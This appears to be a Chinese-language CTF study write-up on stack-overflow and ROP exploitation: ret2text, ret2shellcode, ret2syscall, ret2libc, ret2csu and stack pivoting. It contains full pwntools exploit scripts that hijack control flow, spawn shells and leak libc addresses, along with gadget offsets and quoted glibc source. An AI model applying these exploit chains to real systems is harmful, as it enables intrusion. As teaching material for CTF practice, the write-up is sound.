Rop
栈介绍
栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,程序的栈是从进程地址空间的高地址向低地址增长的。
栈溢出(ROP)
寻找危险函数
gets()
函数:(输入不会限制长度,不会被'\x00'截断)
read()
函数:(读的数据长度比输入的字符&buf
的长度长,能够造成溢出)
write()
函数:(写入的数据长度比输入的字符&buf
的长度长,能够造成溢出)
确定填充长度
- 通过
ida
靠栈的基地址,和ebp/rbp
的地址偏移找到。
- 通过调试出入比填充长度长的数据,让程序报错,回显的地址与栈的
ebp
地址相差的距离为填充长度.
题目类型
ret2text
例题就wiki的
ret2text
。从main函数看出
gets()
函数是漏洞点。还能在字符串里面找到system和/bin/sh
字样。然后我们发现这个是一个无用的函数。
只需要这一部分就足够了。然后就测出偏移。基本上利用
pwndbg
自带的指令cyclc
。cyclc 50 //生成50个用来溢出的字符,如:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
拿到相对于返回地址的偏移为112,也可以利用寄存器的参数来算偏移
由于
esp = 0xffffce60
,ebp = 0xffffcee8
,又由于在ida
里面s[esp+0x1c]
,所以计算得s距离ebp
的偏移为112.接下来就是写exp
了.#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level = "debug",arch = "i386",os = "linux")
io = process("./ret2text")
sys_addr = 0x0804863A
gdb.attach(io,"b *0x0804869B\nc")
payload = flat(['a'*112,sys_addr])
io.sendafter("anything?",payload)
io.sendline('ls')
io.interactive()
io.close()
本地打通
ret2shellcode
例题wiki的ret2shellcode
可以看到,输入gets。不过这次没有溢出的漏洞,也没有后门函数没法直接跳转到system上。而
buf
的地址却在bss
段上.这样我们也知道了
buf_addr = 0x0804a080
只要buf
可以读写,那么我们就可以自己写一段shellcode
来执行system()
通过
vmmap
我们看到了在程序0x0804a000-0x0804b000
都可以读写,恰好buf
的地址在这其中。接下来就是去寻找偏移了。看保护什么都没开。进行调试找偏移。
在
gdb
里面可以看到esp
和ebp
的地址。然后通过计算得到偏移获取偏移也可以利用
pwntools
自带的指令cyclic在返回报错那块能看到最后的返回函数是0x62616164
,然后得到偏移然后就是写
exp
了。#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level = "debug",arch = "i386",os = "linux")
io = process("./ret2shellcode")
buf_addr = 0x0804A080
padding = 112
shellcode = asm(shellcraft.sh())#<-这里利用pwntools的asm()函数来写shellcode.
payload = flat([shellcode.ljust(padding,'A'),buf_addr])
io.recvuntil("No system for you this time !!!")
#gdb.attach(io,"b *0x80483d0\nc")
io.sendline(payload)
io.sendline("ls")
io.interactive()
运行得到shell
ret2syscall
ret2syscall
相当于是控制程序执行系统调用来获取shell
,用系统调用号来区分入口函数可以看出没有什么栈溢出漏洞。需要我们去构造写入
execve('/bin/sh')
关于系统调用:
>
linux
的32位系统调用通过int 80h
来实现的。>
> 应用程序调用系统调用的过程是:
>
> 1. 把系统调用的编号存入
eax
> 2. 把函数参数存入其他通用寄存器
> 3. 触发0x80号中断(
int 0x80
)通过系统调用执行的是
execve("/bin/sh",NULL,NULL)(32位)
然后看到
eax
的寄存器系统调用号,查看execve
的系统调用号:cat /usr/include/asm/unistd_32.h | grep execve
In[1]: hex(11)
Out[1]: '0xb'
所以
exa
里面应该放0xb
,然后现在需要的就是:>
eax
= 0xb
>
>
exb
= /bin/sh
>
>
ecx
= 0>
>
edx
= 0然后就需要用到ROPgadget
然后找到利用区域:
然后再找关于
ebx
的ret
找到利用位置。
padding = 112
payload = flat([padding * 'A',pop_eax,0xb,pop_3exx,0,0,binsh_addr,int_0x80])
至于为啥这样写,可以通过这个来解释:
利用这样依次填充
使得我们能够顺利执行payload。
<img src="https://i.loli.net/2021/04/20/kRjFOQo84JKSmNt.jpg" alt="ROPgadget-binsh.jpg" />
一如既往的计算。可以写
exp
了#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level = "debug",arch = "i386",os = "linux")
io = process("./ret2syscall")
#ROPgadget to find pop-ret/int_0x80/binsh
pop_eax = 0x080bb196
pop_3exx = 0x0806eb90
padding = 112
int_0x80 = 0x08049421
binsh_addr = 0x080be408
#write payload
payload = flat([padding * 'A',pop_eax,0xb,pop_3exx,0,0,binsh_addr,int_0x80])
io.recvuntil("What do you plan to do?")
#gdb.attach(io,"b *0x804f650\nc")
io.sendline(payload)
io.sendline('ls')
io.interactive()
ret2libc
由于没给后门函数,以及
libc库
而题中只给了puts
函数,然而我们通过objdump
可以看到能利用puts
函数的plt
表和got
表#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level = "debug",arch = "i386",os = "linux")
io = process("./ret2libc")
if args.g:
gdb.attach(io)
elf = ELF("./ret2libc")
put_plt = elf.plt["puts"]
put_got = elf.got["puts"]
start = elf.sym["_start"]
payload1 = flat([112 * 'A',put_plt,start,put_got])#<-第一次泄露puts函数的地址
io.sendafter("!?",payload1)
puts_addr = u32(io.recv(4))
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.sym["puts"]
system = libcbase + libc.sym["system"]
binsh = libcbase + libc.sym["/bin/sh"]
payload2 = flat([112 * 'A',system,'0xdeadbeef',binsh])
io.recvuntil("!?")
io.sendline(payload2)
io.senline("ls")
io.interactive()
ret2csu
主要函数里面由于read读入过多,可以让我们进行构造来获得shell
传参的取处我们选择利用
__libc_csu_init
函数的万能传参利用这里的pop来进行传参。
在调试中进入write函数,看到
rbp
和rsp
然后计算偏移In [6]: rsp = 0x7fffffffdc48
In [7]: rbp = 0x7fffffffdcd0
In [8]: rbp-rsp Out[8]: 136
In [9]: hex(136) Out[9]: 0x88
写入一部分
exp
之后进行调试,可以看到write
地址#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")
io = process("./level5")
if args.g:
gdb.attach(io)
#io = remote("pwn2.jarvisoj.com",9884)
elf = ELF("./level5",checksec=False)
lib = ELF("libc-2.19.so",checksec=False)
write_got = elf.got["write"]
read_got = elf.got["read"]
vulner_addr = elf.sym["vulnerable_function"]
bss_addr = elf.bss()
csu_op = 0x00400690
csu_ed = 0x004006AA
def csu(r12,rdx,rsi,rdi,ret):
global csu_ed,csu_op
payload1 = flat([0x88*'a',csu_ed,p64(0),p64(1),r12,rdx,rsi,rdi,csu_op,0x38*'a',ret])
io.recvuntil("Input:\n")
io.sendline(payload1)
sleep(1)
csu(write_got,8,write_got,1,vulner_addr)
write_addr = u64(io.recv(6).ljust(8,'\x00'))
libc = write_addr - lib.sym['write']
mprotect_addr = libc + lib.sym["mprotect"]
payload2 = flat([mprotect_addr,asm(shellcraft.sh())])#<-通过mprotect函数的来写入bss段,然后再执行mprotect,getshell
csu(read_got,len(payload2),bss_addr,0,vulner_addr)
io.send(payload2)
csu(bss_addr, 7, 0x1000, 0x600000, bss_addr + 8)
print 'bss_addr = ' + hex(bss_addr)
io.sendline('cat flag')
io.interactive()
最后得到flag.
栈迁移
栈迁移主要是说的leave指令:
mov esp,ebp
pop ebp
ret
指令:pop eip
- 第一个指令会改变
esp
的值,第二个指令会改变ebp
的值(ebp
的值不是太重要)
- 我们主要想控制的是
esp
的值,这里就要用到两个gadget(leave ret
)第一个gadget用来改变ebp
的值,第二个指令用来改变esp
的值
栈迁移可以把栈迁移在
bss
段和堆上。然后再去执行rop
链.- 记录了一个没利用过的栈迁移。(pwnable.tw)
通过对
libc_csu_fini
的利用,由于libc_csu_fini
会调用一个 fini_array
数组,而这个数组只有两个元素,而且当数组执行的时候,fini_array[1]
比fini_array[0]
先利用。void
__libc_csu_init (int argc, char **argv, char **envp)
{
/* For dynamically linked executables the preinit array is executed by
the dynamic linker (before initializing any shared object). */
#ifndef LIBC_NONSHARED
/* For static executables, preinit happens right before init. */
{
const size_t size = __preinit_array_end - __preinit_array_start;
size_t i;
for (i = 0; i < size; i++)
(*__preinit_array_start [i]) (argc, argv, envp);
}
#endif
#ifndef NO_INITFINI
_init ();
#endif
const size_t size = __init_array_end - __init_array_start;
for (size_t i = 0; i < size; i++)
(*__init_array_start [i]) (argc, argv, envp);
}
/* This function should not be used anymore. We run the executable's
destructor now just like any other. We cannot remove the function,
though. */
void
__libc_csu_fini (void)
{
#ifndef LIBC_NONSHARED
size_t i = __fini_array_end - __fini_array_start;
while (i-- > 0)
(*__fini_array_start [i]) ();
# ifndef NO_INITFINI
_fini ();
# endif
#endif
}
可以看到,
init
调用init_array,fini
调用 fini_array
而且init_array
是从0开始迭代增长,fini_array
从i下标开始向0迭代.而且由于 程序一开始是从
start
函数进行STATIC int
LIBC_START_MAIN (int (*main) (int, char **, char ** MAIN_AUXVEC_DECL),
int argc, char **argv,
#ifdef LIBC_START_MAIN_AUXVEC_ARG
ElfW(auxv_t) *auxvec,
#endif
__typeof (main) init,
void (*fini) (void),
void (*rtld_fini) (void), void *stack_end)
__libc_start_main( main, argc, argv, __libc_csu_init, __libc_csu_fini, edx, top of stack);
执行流程就如
_start -> __libc_start_main -> init -> main -> fini
利用流程大致是这样,进行修改,无限循环main,这样也能方便复写。(想到这样操作的是真的强)